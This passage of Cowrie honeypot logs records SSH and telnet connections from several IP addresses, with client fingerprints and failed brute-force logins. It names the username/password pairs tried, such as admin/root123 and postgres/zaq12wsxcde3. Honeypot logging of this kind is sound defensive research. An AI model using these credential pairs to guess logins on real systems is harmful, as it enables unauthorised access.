-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:57.810911Z","src_ip":"103.146.202.174","session":"cb2f01533583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:58.835255Z","src_ip":"103.146.202.174","session":"cb2f01533583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:00.089868Z","src_ip":"103.146.202.174","session":"cb2f01533583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.74106740951538,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:02.226493Z","src_ip":"20.123.41.163","session":"0d7b981783d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":64218,"dst_ip":"10.17.0.5","dst_port":22,"session":"930a01ed959d","protocol":"ssh","message":"New connection: 185.48.213.208:64218 (10.17.0.5:22) [session: 930a01ed959d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:31.049087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:31.053635Z","src_ip":"185.48.213.208","session":"930a01ed959d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:31.174089Z","src_ip":"185.48.213.208","session":"930a01ed959d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user123","message":"login attempt [user2/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:31.687974Z","src_ip":"185.48.213.208","session":"930a01ed959d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:32.811031Z","src_ip":"185.48.213.208","session":"930a01ed959d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61651,"dst_ip":"10.17.0.5","dst_port":22,"session":"aecd334f4305","protocol":"ssh","message":"New connection: 109.91.4.177:61651 (10.17.0.5:22) [session: aecd334f4305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:32.962233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:32.966700Z","src_ip":"109.91.4.177","session":"aecd334f4305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:33.076014Z","src_ip":"109.91.4.177","session":"aecd334f4305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"wwwphp","message":"login attempt [ubuntu/wwwphp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:33.535786Z","src_ip":"109.91.4.177","session":"aecd334f4305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:05:34.644445Z","src_ip":"109.91.4.177","session":"aecd334f4305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":47004,"dst_ip":"10.17.0.5","dst_port":22,"session":"4214e2bdb391","protocol":"ssh","message":"New connection: 103.106.188.32:47004 (10.17.0.5:22) [session: 4214e2bdb391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:01.417745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:01.431246Z","src_ip":"103.106.188.32","session":"4214e2bdb391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:01.630962Z","src_ip":"103.106.188.32","session":"4214e2bdb391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":51070,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b4eb4b7b74","protocol":"ssh","message":"New connection: 103.146.202.174:51070 (10.17.0.5:22) [session: 64b4eb4b7b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:01.728083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:01.733458Z","src_ip":"103.146.202.174","session":"64b4eb4b7b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:01.982896Z","src_ip":"103.146.202.174","session":"64b4eb4b7b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:02.429261Z","src_ip":"103.106.188.32","session":"4214e2bdb391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:03.020134Z","src_ip":"103.146.202.174","session":"64b4eb4b7b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:03.726328Z","src_ip":"103.106.188.32","session":"4214e2bdb391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:04.270996Z","src_ip":"103.146.202.174","session":"64b4eb4b7b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59463,"dst_ip":"10.17.0.5","dst_port":22,"session":"29c8919b1dfe","protocol":"ssh","message":"New connection: 109.91.4.177:59463 (10.17.0.5:22) [session: 29c8919b1dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:28.252353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:28.256448Z","src_ip":"109.91.4.177","session":"29c8919b1dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:28.366822Z","src_ip":"109.91.4.177","session":"29c8919b1dfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123","message":"login attempt [admin/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:29.269174Z","src_ip":"109.91.4.177","session":"29c8919b1dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:30.377576Z","src_ip":"109.91.4.177","session":"29c8919b1dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":48358,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe967952563","protocol":"ssh","message":"New connection: 209.99.189.177:48358 (10.17.0.5:22) [session: 6fe967952563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:37.558251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:37.562161Z","src_ip":"209.99.189.177","session":"6fe967952563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:37.690733Z","src_ip":"209.99.189.177","session":"6fe967952563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2024","message":"login attempt [ubuntu/2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:38.229308Z","src_ip":"209.99.189.177","session":"6fe967952563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:06:39.359651Z","src_ip":"209.99.189.177","session":"6fe967952563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54734,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e9edcd5269","protocol":"telnet","message":"New connection: 20.123.41.163:54734 (10.17.0.5:23) [session: 32e9edcd5269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:03.766544Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":39596,"dst_ip":"10.17.0.5","dst_port":22,"session":"45ece6d63059","protocol":"ssh","message":"New connection: 103.146.202.174:39596 (10.17.0.5:22) [session: 45ece6d63059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:03.771841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:03.778302Z","src_ip":"103.146.202.174","session":"45ece6d63059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:04.028641Z","src_ip":"103.146.202.174","session":"45ece6d63059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:06.361518Z","src_ip":"103.146.202.174","session":"45ece6d63059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:12.363101Z","src_ip":"103.146.202.174","session":"45ece6d63059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33436,"dst_ip":"159.203.135.109","dst_port":23,"session":"c54b1e524c31","protocol":"telnet","message":"New connection: 174.138.46.234:33436 (159.203.135.109:23) [session: c54b1e524c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:24.261680Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":32949,"dst_ip":"10.17.0.5","dst_port":22,"session":"b03785954b85","protocol":"ssh","message":"New connection: 185.48.213.208:32949 (10.17.0.5:22) [session: b03785954b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:24.469941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:24.478815Z","src_ip":"185.48.213.208","session":"b03785954b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:24.597352Z","src_ip":"185.48.213.208","session":"b03785954b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@dmin","message":"login attempt [admin/@dmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:25.109364Z","src_ip":"185.48.213.208","session":"b03785954b85","protocol":"ssh"}
